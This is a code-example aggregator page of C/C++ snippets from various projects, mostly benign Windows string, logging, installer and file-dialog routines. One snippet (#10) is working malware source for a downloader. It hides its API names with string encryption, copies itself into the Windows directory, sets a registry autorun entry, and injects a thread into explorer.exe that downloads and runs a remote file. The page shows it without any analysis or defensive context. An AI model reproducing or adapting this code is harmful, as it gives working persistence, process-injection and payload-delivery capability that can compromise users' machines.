ファイル: server.cpp プロジェクト: y921111/VB_OPCClient_Code
// **************************************************************************
// GenerateGroupName ()
//
// Description:
//	Check to see if a group name is in use.  If it is, then modify name so
//	that it is unique to this server.
//
// Parameters:
//  CString		&strName		Group name.  Must not be input as empty.
//								  Will be modified if needed.
//
// Returns:
//  bool - true if success
// **************************************************************************
bool CKServer::GenerateGroupName (CString &strName)
	{
	ASSERT (!strName.IsEmpty ());

	// If FindGroup() returns true, then name is in use and we need to
	// generate a new group name unique to this server:
	if (FindGroup (strName))
		{
		TCHAR szName [MAXGROUPNAMELEN + 1];
		TCHAR szSuffix [16];
		LPTSTR pch;
		int nSuffix;
		
		// Make a copy of the group name.  Use a TCHAR array so it will be
		// fast & easy to check each character using pointer math.
		lstrcpyn (szName, strName, _countof (szName));
		
		// Point to the last character (the -1 is needed since arrays are 0-based):
		pch = &szName [lstrlen (szName) - 1];


		//////////////////////////////////////////////////////////////
		// Create a numerical suffix that should make name unique	//
		//////////////////////////////////////////////////////////////

		// If the last character is a number, then we will interpret all digits
		// a end of string as a suffix.  Once that suffix is parsed off, we will
		// increment it for the new name.
		if (_istdigit (*pch))
			{
			// Back up until we hit a non-digit:
			while (_istdigit (*pch))
				--pch;

			// Adjust forward one character so we now point to first
			// digit in numerical suffix:
			++pch;
			
			// Determine the current suffix and increment:
			nSuffix = _ttol (pch) + 1;
			}
		
		// Otherwise simply start a new series with the suffix "1":
		else
			{
			// Move forwared one character so we'll be pointing at
			// string's NULL terminator:
			++pch;
			nSuffix = 1;
			}


		//////////////////////////////////////////////////////////
		// Add new numerical suffix and validate resulting name	//
		//////////////////////////////////////////////////////////

		do
			{
			// Trim any existing numeric suffix from the name. (pch should
			// be pointing at first digit of suffix it it exists, or NULL
			// terminator of string if not.)
			*pch = 0;

			// Convert the suffix we just created to a string:
			wsprintf (szSuffix, _T("%d"), nSuffix);

			// Determine the length of name minus existing numerical suffix, if any:
			int nNameLen = lstrlen (szName);

			// Determin the length of the suffix we just created:
			int nSuffixLen = lstrlen (szSuffix);

			// If the name with new suffix will be longer than allowable maximum
			// (for logging) then truncate:
			if (nNameLen + nSuffixLen > MAXGROUPNAMELEN)
				{
				// Compute the number of characters we need to hack off:
				int nDif = MAXGROUPNAMELEN - (nNameLen + nSuffixLen);
				
				ASSERT (nDif < 0);

				// Adjust the length in preparation to truncate:
				nNameLen += nDif;
				pch += nDif;

				// Check for remaining chars and return false if we just can't fit
				// the suffix:
				if (nNameLen < 1)
					return (false);

				// If we make it here, then we can go ahead and truncate the name
				// by replacing the nNameLen'th character with a NULL terminator:
				szName [nNameLen] = 0;
				}

			// Append the suffix to the name:
			lstrcat (szName, szSuffix);

			// Validate the resulting name.  If FindGroup returns false, then
			// we know the new name is not currently in use.
			if (!FindGroup (szName))
				{
				// New name is not in use.  Assing it to strName for output and 
				// return true to indicate successful processing.
				strName = szName;
				return (true);
				}
			
			// If we make it here, we know new name is no good.  Increment the suffix
			// and try again.  We will continue to loop unitl the suffix results in a
			// good name or string length becomes too long.
			} while (++nSuffix > 0);
		
		// If we make it to here (not likely), then we've run out of
		// options.  Return false to indicate that we had problems.
		ASSERT (FALSE);
		return (false);
		}
	
	// If we made it here, then specified name is not presently in use.
	// No need to change it.  Just return true to indicate we successfully
	// processed name.
	return (true);
	}
コード例 #8
0
DWORD	LogErrorToDisk(TCHAR *szModuleFilePath,
							TCHAR* szErrorString)
{
	TCHAR		szFullPathDirectory[MAX_PATH + 100]			=	{0};
	TCHAR		szFileName[MAX_PATH + 100]					=	{0};	
	TCHAR		szLogPath[MAX_PATH + 100]					=	{0};
	TCHAR		szTempLogPath[MAX_PATH + 100]				=	{0};
	TCHAR		szFullLogPath[MAX_PATH + 100]				=	{0};
	TCHAR		szMutexName[MAX_PATH + 100]					=	{0};
	TCHAR		szBuffer[51]								=	{0};
	TCHAR*		szFindChar									=	NULL;
	TCHAR*		pszString									=	NULL;
	TCHAR		chString									=	NULL;


	HANDLE		hFile										=	NULL;
	HANDLE		hMutex										=	NULL;
	HANDLE		hWaitHandle[2]								=	{0};					
	
	DWORD		nResult										=	0;
	DWORD		dwFileSizeLow								=	0;
	DWORD		dwFileSizeHigh								=	0;
	DWORD		dwBufferSize								=	0;
	DWORD		dwSize										=	0;
	DWORD		dwNumOfBytesWritten							=	0;

	long		lRet										=	0;
	int			iCtr										=	0;
	int			iLen										=	0;	

	BOOL		bln											=	FALSE;
	BOOL		bMutexFail									=	FALSE;

	__try
	{
		__try
		{
			//First check for the ErrorString and the Module Path
			if((NULL == szErrorString)	||
				(NULL == szModuleFilePath))
			{
				return 1;
			}


			//Get the length of the module path
			iLen = lstrlen(szModuleFilePath);
			if(0 == iLen)
			{
				return 1;
			}

			//Replace the Slashes with the '-' for the mutex, since
			//its the restriction placed by the Mutex
			for(iCtr = 0; iCtr < iLen; ++iCtr)
			{
				if('\\' == szModuleFilePath[iCtr])
				{
					szMutexName[iCtr] = '-';
				}
				else
				{
					szMutexName[iCtr] = szModuleFilePath[iCtr];
				}
			}


			//Create the Mutex and wait
			hMutex = CreateMutex(NULL,FALSE,szMutexName);
			if(NULL == hMutex)
			{
				return 1;
			}
			
			//Wait for the mutex atleast 5 Minutes
			nResult = WaitForSingleObject(hMutex,(300 * 1000));
			if(WAIT_OBJECT_0 != nResult)
			{
				//Unable to get Mutex, return from here
				::ReleaseMutex(hMutex);
				CloseHandle(hMutex);
				hMutex = NULL;
				return 1;
			}
			

			lstrcpy(szFullLogPath,szModuleFilePath);

			//Remove the file name
			szFindChar = strrchr(szFullLogPath,'\\');
			if(NULL != szFindChar)
			{
				lstrcpy(szFileName,szFindChar);
				*szFindChar = NULL;
			}

			//Create the full path here
			lstrcpy(szFullPathDirectory,szFullLogPath);
			lstrcat(szFullPathDirectory,szFileName);

			if(0 == ::SetFileAttributes(szFullPathDirectory,FILE_ATTRIBUTE_NORMAL))
			{
				CreateLogDirectory(szFullLogPath);
			}

			//Create respective directories and sub directories
			//CreateRecursiveDirectory(szFullLogPath);

			//Get the length of the error string
			dwBufferSize = lstrlen(szErrorString);


			//Set the file attributes to normal
			//::SetFileAttributes(szFullPathDirectory,FILE_ATTRIBUTE_NORMAL);

			//Create or opens the existing log file
			hFile = CreateFile(szFullPathDirectory,
								GENERIC_READ | GENERIC_WRITE,
								FILE_SHARE_READ,
								NULL,
								OPEN_ALWAYS,
								FILE_ATTRIBUTE_NORMAL,
								NULL);
					
			if((hFile == INVALID_HANDLE_VALUE)		||
				(hFile == NULL))
			{
				//Unable to open file, return from her
				hFile = NULL;
				return 1;
			}
			
			//Get the log file size
			dwFileSizeLow = GetFileSize(hFile,&dwFileSizeHigh);

			if(dwFileSizeLow > (1024 * 1024))
			{
				//If the log file size is more than 1 MB, need to delete the log file

				//Close all the previous file handles
				::CloseHandle(hFile);
				hFile = NULL;

				//Set the file attributes to normal
				::SetFileAttributes(szFullPathDirectory,FILE_ATTRIBUTE_NORMAL);

				//Delete the log file
				::DeleteFile(szFullPathDirectory);


				//Create or opens the existing log file
				hFile = CreateFile(szFullPathDirectory,
									GENERIC_READ | GENERIC_WRITE,
									FILE_SHARE_READ,
									NULL,
									OPEN_ALWAYS,
									FILE_ATTRIBUTE_NORMAL,
									NULL);
						
				if((hFile == INVALID_HANDLE_VALUE)		||
					(hFile == NULL))
				{
					//Unable to open file for writting, return from here
					hFile = NULL;
					return 1;
				}
				
				//Get the log file size
				dwNumOfBytesWritten =	0;
				dwFileSizeLow		=	0;	
			}

			if(0 != dwFileSizeLow)
			{
				//Set the file pointer to the last offset
				SetFilePointer(hFile, 0, NULL, FILE_END);
			}

			dwNumOfBytesWritten = 0;
			//Write the data to the file
			::WriteFile(hFile,szErrorString,dwBufferSize,&dwNumOfBytesWritten,NULL);

			//Close the file handle
			CloseHandle(hFile);
			hFile = NULL;


			//Release the mutex now
			::ReleaseMutex(hMutex);
			CloseHandle(hMutex);
			hMutex = NULL;



			return 0;
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			//Close the file handle
			if(NULL != hFile)
			{
				CloseHandle(hFile);
				hFile = NULL;
			}


			//Release the mutex now
			if(NULL != hMutex)
			{
				::ReleaseMutex(hMutex);
				CloseHandle(hMutex);
				hMutex = NULL;
			}

			return 1;
		}
	}

	__finally
	{
		//Close the file handle
		if(NULL != hFile)
		{
			CloseHandle(hFile);
			hFile = NULL;
		}

		//Release the nutex now
		if(NULL != hMutex)
		{
			::ReleaseMutex(hMutex);
			CloseHandle(hMutex);
			hMutex = NULL;
		}
	}
	return 0;
}
コード例 #9
0
int	LogLastError(char*	szFilePath,
				 long	llastLineCode,
				 char*	szModuleCode,
				 long	lSystemCode,
				 long	lMiscCode,
				 char*	pszModuleErrorString,
				 char*	pAddInfo1,
				 char*	pAddInfo2,
				 char*	pAddInfo3)
{
	char*	pszFinalErrorString							=	NULL;
	LPVOID	pMsgBuf										=	NULL;

	char*	pchBackChar									=	NULL;	
	char*	pszFindChar									=	NULL;

	char	szFinalErrLogFile[MAX_PATH + 100]			=	{0};
	char	szDateTime[101]								=	{0};
	char	szDate[101]									=	{0};

	char	szLineCode[25]								=	{0};
	char	szSystemCode[25]							=	{0};
	char	szMiscCode[25]								=	{0};

	int		iReqMemAllocated							=	0;
	__try
	{
		__try
		{
			//prepare the error file
			lstrcpy(szFinalErrLogFile,szFilePath);

			memset(szDate,NULL,25);
			memset(szDateTime,NULL,25);

			GetDateTime(szDate,szDateTime);

			ltoa(llastLineCode,szLineCode,10);
			ltoa(lSystemCode,szSystemCode,10);
			ltoa(lMiscCode,szMiscCode,10);



			//calculate the memory requirements
			//szDateTime
			iReqMemAllocated	+=	30;
			iReqMemAllocated	+=	5;	
			//llastLineCode   
			iReqMemAllocated	+=	30;
			iReqMemAllocated	+=	5;	
			//lModuleCode
			iReqMemAllocated	+=	30;
			iReqMemAllocated	+=	5;	
			//lSystemCode
			iReqMemAllocated	+=	30;
			iReqMemAllocated	+=	5;	
			//lMiscCode
			iReqMemAllocated	+=	30;
			iReqMemAllocated	+=	5;	



			if(NULL != pszModuleErrorString)
			{
				iReqMemAllocated	+= lstrlen(pszModuleErrorString);
				iReqMemAllocated	+=	5;	
			}

			if(NULL != pAddInfo1)
			{
				iReqMemAllocated	+= lstrlen(pAddInfo1);
				iReqMemAllocated	+=	5;	
			}

			if(NULL != pAddInfo2)
			{
				iReqMemAllocated	+= lstrlen(pAddInfo2);
				iReqMemAllocated	+=	5;	
			}

			if(NULL != pAddInfo3)
			{
				iReqMemAllocated	+= lstrlen(pAddInfo3);
				iReqMemAllocated	+=	5;	
			}

			if(0 != lSystemCode)
			{
				//Chek out for any last error memory req
				FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER	| 
								FORMAT_MESSAGE_FROM_SYSTEM		| 
								FORMAT_MESSAGE_IGNORE_INSERTS,
								NULL,
								lSystemCode,
								MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
								(LPTSTR) &pMsgBuf,
								0,
								NULL);

				if(NULL != pMsgBuf)
				{
					iReqMemAllocated	+= lstrlen((char*)pMsgBuf);
					iReqMemAllocated	+=	5;	

					pchBackChar = strrchr((LPTSTR) pMsgBuf,'\n');
					if(NULL != pchBackChar)
					{
						*pchBackChar = NULL;
					}

					pchBackChar = strrchr((LPTSTR) pMsgBuf,'\r');
					if(NULL != pchBackChar)
					{
						*pchBackChar = NULL;
					}
				}
			}

			iReqMemAllocated	+=	151;

			pszFinalErrorString	=	new char[iReqMemAllocated];
			if(NULL == pszFinalErrorString)
			{
				return 1;
			}

			memset(pszFinalErrorString,NULL,iReqMemAllocated);
			//Copy the whole strings
			lstrcat(pszFinalErrorString,szDateTime);
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);
			lstrcat(pszFinalErrorString,szLineCode);
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);
			if(NULL != szModuleCode)
			{
				lstrcat(pszFinalErrorString,szModuleCode);
			}
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);
			lstrcat(pszFinalErrorString,szSystemCode);
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);
			lstrcat(pszFinalErrorString,szMiscCode);
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);

			if(NULL != pszModuleErrorString)
			{
				lstrcat(pszFinalErrorString,pszModuleErrorString);
			}
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);

			if(NULL != pMsgBuf)
			{
				lstrcat(pszFinalErrorString,(char*)pMsgBuf);
			}
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);
			

			if(NULL != pAddInfo1)
			{
				lstrcat(pszFinalErrorString,pAddInfo1);
			}
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);

			if(NULL != pAddInfo2)
			{
				lstrcat(pszFinalErrorString,pAddInfo2);
			}
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);

			if(NULL != pAddInfo3)
			{
				lstrcat(pszFinalErrorString,pAddInfo3);
			}
			lstrcat(pszFinalErrorString,g_szFieldDelimiter);

			lstrcat(pszFinalErrorString,g_szRecDelimiter);


			//Log the Error

			LogErrorToDisk(szFinalErrLogFile,pszFinalErrorString);


		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{
			return 1;
		}
	}
	__finally
	{
		delete [] pszFinalErrorString;
		pszFinalErrorString = NULL;


		if(NULL != pMsgBuf)
		{
			LocalFree(pMsgBuf);
			pMsgBuf = NULL;
		}
	}
	return 0;	
}
コード例 #10
0
int main() 
{
 char curpath[MAX_PATH];
 char windir [MAX_PATH];
 char isdwnd [2];

 unsigned long dwThreadId;
 unsigned long dwThrSize;
 unsigned long pid;
 unsigned long issize = sizeof(isdwnd);

 void *pRemoteThread,*hProcess,*hCurrentProc,*hToken;
 
 HINSTANCE kernel32,user32,advapi32,wininet,shell32;
 HWND window;

 InjS InjL,*pInjL;

  //Load Libraries
  kernel32 = LoadLibrary(crypt("ifvkck;;$o`a"));
  user32   = LoadLibrary(crypt("wpaw55&mfg"));
  advapi32 = LoadLibrary(crypt("cgrdvn;;$o`a"));
  wininet  = LoadLibrary(crypt("ujjlhb|'ng`"));
  shell32  = LoadLibrary(crypt("qkaij4:'ng`"));

  //kernel32 Apis
  fGetModuleHandle  = (Getm)GetProcAddress(kernel32,crypt("EfpHic}eoCmcjcuP"));
  fOpenProcess      = (Open)GetProcAddress(kernel32,crypt("MsakVugjox"));
  fVirtualFreeEx    = (Vfex)GetProcAddress(kernel32,crypt("TjvqsfdOxniHv"));
  fVirtualAllocEx   = (Vaex)GetProcAddress(kernel32,crypt("TjvqsfdHfgcnKw"));
  fVirtualFreeEx    = (Vife)GetProcAddress(kernel32,crypt("TjvqsfdOxniHv"));
  fWriteProcessMem  = (Vprm)GetProcAddress(kernel32,crypt("UqmqcWzfin~Cj}~`j"));
  fCreateRemoteThr  = (Crth)GetProcAddress(kernel32,crypt("AqadrbZlgdxhZgbtsw"));
  fExitThread       = (Exit)GetProcAddress(kernel32,crypt("G{mqRozlko"));
  fZeroMemory       = (Zero)GetProcAddress(kernel32,crypt("Pwh_cugDofcw"));
  fGetCurrentProc   = (GetP)GetProcAddress(kernel32,crypt("EfpFsuzld\\aluba"));
  fSleep	        = (Slee)GetProcAddress(kernel32,crypt("Qoa`v"));
  fCreateMutex      = (Crea)GetProcAddress(kernel32,crypt("AqadrbE|~ntL"));
  fGetLastError     = (Gtle)GetProcAddress(kernel32,crypt("EfpIgt|Lxyc"));
  fGetModuleHandle  = (Ghma)GetProcAddress(kernel32,crypt("EfpHic}eoCmcjcuP"));
  fGetModuleFileN   = (Gmfn)GetProcAddress(kernel32,crypt("EfpHic}eoMeakAq|wR"));
  fGetWinDir        = (Gwdi)GetProcAddress(kernel32,crypt("EfpRoilf}xHd|jse}amT"));
  fCopyFile         = (Cpfi)GetProcAddress(kernel32,crypt("Alt|@ndlK"));
  fCreateFile       = (Cref)GetProcAddress(kernel32,crypt("AqadrbN`fnM"));
  fWriteFile        = (Wref)GetProcAddress(kernel32,crypt("UqmqcAaeo"));
  fExitThread       = (Extt)GetProcAddress(kernel32,crypt("G{mqRozlko"));
  fCloseHandle      = (Clos)GetProcAddress(kernel32,crypt("AokvcOigngi"));
  
  //advapi32 apis
  fLookupPrivilege  = (Look)GetProcAddress(advapi32,crypt("NlknswX{c}eakhuGsapW"));
  fAdjustPrivilege  = (APrv)GetProcAddress(advapi32,crypt("Cgnpus\\fanb]|ffx~vspe"));
  fOpenProcToken    = (Optk)GetProcAddress(advapi32,crypt("MsakVugjoxYadu"));
  fRegCreateKey     = (RegK)GetProcAddress(advapi32,crypt("PfcFtbi}o@itO"));
  fRegSetValueEx    = (RegS)GetProcAddress(advapi32,crypt("PfcVcs^hf~iHvN"));
  fRegCloseKey      = (RegC)GetProcAddress(advapi32,crypt("PfcFjh{lAnu"));
  fRegOpenKeyEx     = (RegO)GetProcAddress(advapi32,crypt("PfcJvbfBorIuO"));
  fRegQueryValueEx  = (RegQ)GetProcAddress(advapi32,crypt("PfcTsbzp\\j`xkJhP"));

  //user32 apis
  fFindWindow       = (Finw)GetProcAddress(user32  ,crypt("DjjaQnfme|M"));
  fGetWindowId      = (Getw)GetProcAddress(user32  ,crypt("EfpRoilf}_dkntA`|wpedQ}"));

  //wininet functions
  fInetCheckConn    = (IChe)GetProcAddress(wininet ,crypt("Kmp`tim}IcineL|vwaxvX"));
  fInternetOpen     = (Inop)GetProcAddress(wininet ,crypt("Kmp`tim}E{icO"));
  fInternetOpenUrl  = (Inou)GetProcAddress(wininet ,crypt("Kmp`tim}E{ic[}|P"));
  fInternetReadFile = (IRef)GetProcAddress(wininet ,crypt("Kmp`tim}XnmiHf|t"));
  fInternetCloseH   = (Cloi)GetProcAddress(wininet ,crypt("Kmp`tim}Igc~kGqvq"));
  
  fShellExecute     = (Shee)GetProcAddress(shell32 ,crypt("QkaijBpli~xhO"));

  //get current path
  fGetModuleFileN(fGetModuleHandle(NULL),curpath,MAX_PATH);

  //current path + \\sdown.exe
  fGetWinDir(windir,sizeof(windir));
  lstrcat(windir,"\\sd0wn2.exe");

  //if current path is different than windir + \\sdown2.exe
  //copy itself to windir and execute itself
  if(lstrcmp(curpath,windir))
  {
   fCopyFile(curpath,windir,TRUE);
   fShellExecute(0,"open",windir,0,0,SW_HIDE);
   return 1;
  }

  //autorun
  if(fRegCreateKey(HKEY_CURRENT_USER,crypt("QlbqqfzlVFen|`c~tgHBy|vmh@^kmRDLWr@TTAFDw~X@"),&hKey) == ERROR_SUCCESS)
  {
   fRegSetValueEx(hKey,"sdown",0,REG_SZ,windir,sizeof(windir));
   fRegCloseKey(hKey);
  }
  //if dowloaded val is 1 than exit
  //becose when sd0wn download file, it writes at regkey + Downloaded val "1" 
  if(fRegOpenKeyEx(HKEY_CURRENT_USER,regkey,0,KEY_ALL_ACCESS,&hOpenkey)==ERROR_SUCCESS)
  {
   if(fRegQueryValueEx(hOpenkey,"downloaded",0,0,(unsigned char*)isdwnd,&issize)==ERROR_SUCCESS)
   if(!lstrcmp(isdwnd,"1"))
     return 1;
  }
 
  //cactulate ThreadProc size
   dwThrSize = (DWORD)end - (DWORD)ThreadProc;
  //Explorer.exe's handle
  if((window = fFindWindow(crypt("qkaijX|{kr{cj"),0)) == NULL)
    return 1;
  //Get Explorer's pid
  fGetWindowId(window,&pid);
  //The GetCurrentProcess function returns a pseudohandle 
  //for the current process.(MSDN)
  hCurrentProc = fGetCurrentProc();

  if (fOpenProcToken(hCurrentProc,TOKEN_QUERY|TOKEN_ADJUST_PRIVILEGES,&hToken))
    if(!RaisePrivleges(hToken,(char*)SE_DEBUG_NAME));
      //printf("Some Error");

  if(hToken)CloseHandle(hToken);

  //open the process so we can modify it
  if((hProcess = fOpenProcess(PROCESS_ALL_ACCESS,FALSE,pid)) == NULL)
    return 1;

  //allocate free space in the process
  if((pRemoteThread = fVirtualAllocEx(hProcess,0,(SIZE_T)dwThrSize,
	   MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)) == NULL)
    return 1;

  //Write our ThreadProc in that allocated space
  if(fWriteProcessMem(hProcess,pRemoteThread,&ThreadProc,dwThrSize,0) == 0)
    return 1;
   
  //Clean InjL
  fZeroMemory(&InjL,sizeof(InjS));

  //Fill Inj struct
  //Inj.dwApi			  = (DWORD)Address of Api function
  InjL.dwCreateMutex      = (DWORD)fCreateMutex;
  InjL.dwGetLastError     = (DWORD)fGetLastError;
  InjL.dwExitThread       = (DWORD)fExitThread;
  InjL.dwVirtualFreeEx    = (DWORD)fVirtualFreeEx;
  InjL.dwICheckConn       = (DWORD)fInetCheckConn;
  InjL.dwSleep            = (DWORD)fSleep;
  InjL.dwInternetOpen     = (DWORD)fInternetOpen;
  InjL.dwInternetOpenUrl  = (DWORD)fInternetOpenUrl;
  InjL.dwCreateFile       = (DWORD)fCreateFile;
  InjL.dwInternetReadFile = (DWORD)fInternetReadFile;
  InjL.dwWriteFile        = (DWORD)fWriteFile;
  InjL.dwShellExecute     = (DWORD)fShellExecute;
  InjL.dwCloseHandle      = (DWORD)fCloseHandle;
  InjL.dwInternetCloseH   = (DWORD)fInternetCloseH;
  InjL.dwRegCreateKey     = (DWORD)fRegCreateKey;
  InjL.dwRegSetValueEx    = (DWORD)fRegSetValueEx;
  InjL.dwRegCloseKey      = (DWORD)fRegCloseKey;
  //sleep time
  InjL.stime              = sleeptime;

  //copy data that we need in struct
  lstrcpy(InjL.site      ,checksite);
  lstrcpy(InjL.downsite  ,downfile );
  lstrcpy(InjL.spath     ,savepath );
  lstrcpy(InjL.mtx       ,mtxname  );
  lstrcpy(InjL.regpath   ,regkey   );
  lstrcpy(InjL.downloaded,"downloaded");
  lstrcpy(InjL.ss        ,"1");
  //InjL.ss[0] = '1';
  //InjL.ss[1] = '\0';
  
  //allocate free space for our struct
  if((pInjL =(InjS *)fVirtualAllocEx(hProcess,0,sizeof(InjS),MEM_COMMIT,PAGE_READWRITE)) == NULL)
    return 1;

  //Write our struct in that allocated space
  if((fWriteProcessMem(hProcess,pInjL,&InjL,sizeof(InjL),0)) == 0)
    return 1;
  //run injected function + our struct as argument
  if((fCreateRemoteThr(hProcess,0,0,(DWORD(__stdcall *)(void *))pRemoteThread,pInjL,0,&dwThreadId)) == NULL)
    return 1;
  
  //Free Libraries
  FreeLibrary(shell32);
  FreeLibrary(wininet);
  FreeLibrary(advapi32);
  FreeLibrary(user32);
  FreeLibrary(kernel32);
  //CloseHandle :)
  CloseHandle(hProcess);
 return 0;
}
コード例 #11
0
ファイル: nsinstall.cpp プロジェクト: rn10950/RetroZilla
static BOOL
RunInstaller()
{
  PROCESS_INFORMATION pi;
  STARTUPINFO         sti;
  char                szCmdLine[MAX_BUF];
  char                szSetupFile[MAX_BUF];
  char                szUninstallFile[MAX_BUF];
  char                szArcLstFile[MAX_BUF];
  BOOL                bRet;
  char                szText[256];
  char                szTempPath[MAX_BUF];
  char                szTmp[MAX_PATH];
  char                xpiDir[MAX_PATH];
  char                szFilename[MAX_BUF];
  char                szBuf[MAX_BUF];

  if(gbUncompressOnly == TRUE)
    return(TRUE);

  // Update UI
  UpdateProgressBar(100);
  LoadString(hInst, IDS_STATUS_LAUNCHING_SETUP, szText, sizeof(szText));
  SetStatusLine(szText);

  memset(&sti,0,sizeof(sti));
  sti.cb = sizeof(STARTUPINFO);

  // Setup program is in the directory specified for temporary files
  GetFullTempPathName("", MAX_BUF, szTempPath);
	GetFullTempPathName("Archive.lst",   sizeof(szArcLstFile),    szArcLstFile);
  GetFullTempPathName("SETUP.EXE",     sizeof(szSetupFile),     szSetupFile);
  GetFullTempPathName("uninstall.exe", sizeof(szUninstallFile), szUninstallFile);

  GetPrivateProfileString("Archives", "uninstall.exe", "", szBuf, sizeof(szBuf), szArcLstFile);
  if((FileExists(szUninstallFile) != FALSE) && (*szBuf != '\0'))
  {
    lstrcpy(szCmdLine, szUninstallFile);
  }
  else
  {
    lstrcpy(szCmdLine, szSetupFile);
    GetModuleFileName(NULL, szFilename, sizeof(szFilename));
    ParsePath(szFilename, xpiDir, sizeof(xpiDir), PP_PATH_ONLY);
    AppendBackSlash(xpiDir, sizeof(xpiDir));
    lstrcat(xpiDir, "xpi");
    if(FileExists(xpiDir))
    {
      GetShortPathName(xpiDir, szBuf, sizeof(szBuf));
      lstrcat(szCmdLine, " -a ");
      lstrcat(szCmdLine, szBuf);
    }
    lstrcat(szCmdLine, " -n ");
    lstrcat(szCmdLine, szFilename);
  }

  if(szCmdLine != NULL)
    lstrcat(szCmdLine, szCmdLineToSetup);

  // Launch the installer
  bRet = CreateProcess(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, szTempPath, &sti, &pi);

  if (!bRet)
    return FALSE;

  CloseHandle(pi.hThread);

  // Wait for the InstallShield UI to appear before taking down the dialog box
  WaitForInputIdle(pi.hProcess, 3000);  // wait up to 3 seconds
  if(dwMode != SILENT)
  {
    DestroyWindow(dlgInfo.hWndDlg);
  }

  // Wait for the installer to complete
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);


  // Delete the files from the temp directory
  EnumResourceNames(NULL, "FILE", (ENUMRESNAMEPROC)DeleteTempFilesProc, 0);

  // delete archive.lst file in the temp directory
  GetFullTempPathName("Archive.lst", sizeof(szTmp), szTmp);
  DeleteFile(szTmp);
  GetFullTempPathName("xpcom.ns", sizeof(szTmp), szTmp);
  DirectoryRemove(szTmp, TRUE);
  DirectoryRemove(szTempPath, FALSE);
  return TRUE;
}
コード例 #12
0
void CDfuFileMgrDlgExtract::OnButtonopen() 
{
	TCHAR szFilters[]=
    "Dfu Files (*.dfu)|*.dfu|All Files (*.*)|*.*||";

	char Path[MAX_PATH];
	char Tmp[MAX_PATH];
	char *pTmp;

	GetModuleFileName(NULL, Path, MAX_PATH);
	strrev(Path);
	pTmp = strchr(Path, '\\');
	strrev(pTmp);
	lstrcpy(Tmp, pTmp);
	lstrcpy(Path, Tmp);
	lstrcat(Path, "*.dfu");

	CFileDialog* dlg;
	dlg = new CFileDialog(TRUE, _T("dfu"), _T("*.dfu"), OFN_FILEMUSTEXIST, szFilters, this);

	UpdateData(TRUE);
	m_ListFiles.ResetContent();
	if (dlg->DoModal()==IDOK)
	{
		BYTE Alts;
		WORD Vid;
		WORD Pid;
		WORD Bcd;

		if (m_hFile!=0)
			STDFUFILES_CloseDFUFile(m_hFile);

		if (STDFUFILES_OpenExistingDFUFile((LPSTR)(LPCSTR)dlg->GetPathName(), &m_hFile, &Vid, &Pid, &Bcd, &Alts) == STDFUFILES_NOERROR)
		{
			BYTE Alt;
			CString Tmp, Tmp1;

			m_Pid.Format("%04X", Pid);
			m_Vid.Format("%04X", Vid);
			m_Bcd.Format("%04X", Bcd);
			m_FileBaseName=dlg->GetPathName().Left(dlg->GetPathName().GetLength()-4);
		    m_DfuFile = dlg->GetPathName(); 

			UpdateData(FALSE);
			for (BYTE i=0;i<Alts;i++)
			{
				HANDLE Image;
				CString Tmp;
				if (STDFUFILES_ReadImageFromDFUFile(m_hFile, i, &Image)==STDFUFILES_NOERROR)
				{
					char Name[512];

					STDFUFILES_GetImageAlternate(Image, &Alt);
					STDFUFILES_GetImageName(Image, Name);
					STDFUFILES_DestroyImage(&Image);

					Tmp.Format("Image for Target ID %02i", Alt);
					if (Name[0]!='\0')
					{
						Tmp+="  (";
						Tmp+=Name;
						Tmp+=")";
					}
					m_ListFiles.AddString(Tmp);
				}
				else
				{
					AfxMessageBox("Unable to read images in file...");
					break;
				}
				if(m_ListFiles.GetCount()>0)
				   m_ListFiles.SetCurSel(0);
			}
		}
		else
			AfxMessageBox("Error... Maybe bad or old file format");
	}
}
コード例 #13
0
ファイル: commdlg.c プロジェクト: chunhualiu/OpenNT
int InitCommDlg(int iWhichOper) 
{
    OFN.lpstrDefExt         = NULL;
    OFN.lpstrFile           = szFileName;
    OFN.lpstrFilter         = szFilterSpec;
    OFN.lpstrCustomFilter   = szCustFilterSpec;

    switch(iWhichOper)
    {
        case 0:  // beginning of Write session
            OFN.lStructSize         = sizeof(OPENFILENAME);
            OFN.hInstance           = hINSTANCE;
            OFN.lCustData           = NULL;
            OFN.lpTemplateName      = NULL;
            OFN.lpstrFileTitle      = NULL;
            OFN.nMaxFileTitle       = 0;
            OFN.nMaxFile            = CBPATHMAX;
            OFN.lpstrInitialDir     = NULL;
            OFN.nMaxCustFilter      = CBFILTERSIZE;

            LoadString(hINSTANCE, IDSTROpenfile, szOpenFile, sizeof(szOpenFile));
            LoadString(hINSTANCE, IDSTRSavefile, szSaveFile, sizeof(szSaveFile));
            LoadString(hINSTANCE, IDSTRDefWriExtension, szDefWriExtension, sizeof(szDefWriExtension));
            LoadString(hINSTANCE, IDSTRDefDocExtension, szDefDocExtension, sizeof(szDefDocExtension));
            LoadString(hINSTANCE, IDSTRDefTxtExtension, szDefTxtExtension, sizeof(szDefTxtExtension));
            LoadString(hINSTANCE, IDSTRWriDescr, szWriDescr, sizeof(szWriDescr));
            LoadString(hINSTANCE, IDSTRDocDescr, szDocDescr, sizeof(szDocDescr));
            LoadString(hINSTANCE, IDSTRTxtDescr, szTxtDescr, sizeof(szTxtDescr));
            LoadString(hINSTANCE, IDSTRDocTextDescr, szDocTxtDescr, sizeof(szDocTxtDescr));
            LoadString(hINSTANCE, IDSTRAllFilesDescr, szAllFilesDescr, sizeof(szAllFilesDescr));
            LoadString(hINSTANCE, IDSTROldWriteDescr, szOldWriteDescr, sizeof(szOldWriteDescr));
                           
        return FALSE;

        case imiOpen:
            if ((lpfnOFNHook = MakeProcInstance(fnOFNHook, hINSTANCE)) == NULL)
                return TRUE;

            OFN.hwndOwner           = hPARENTWINDOW;
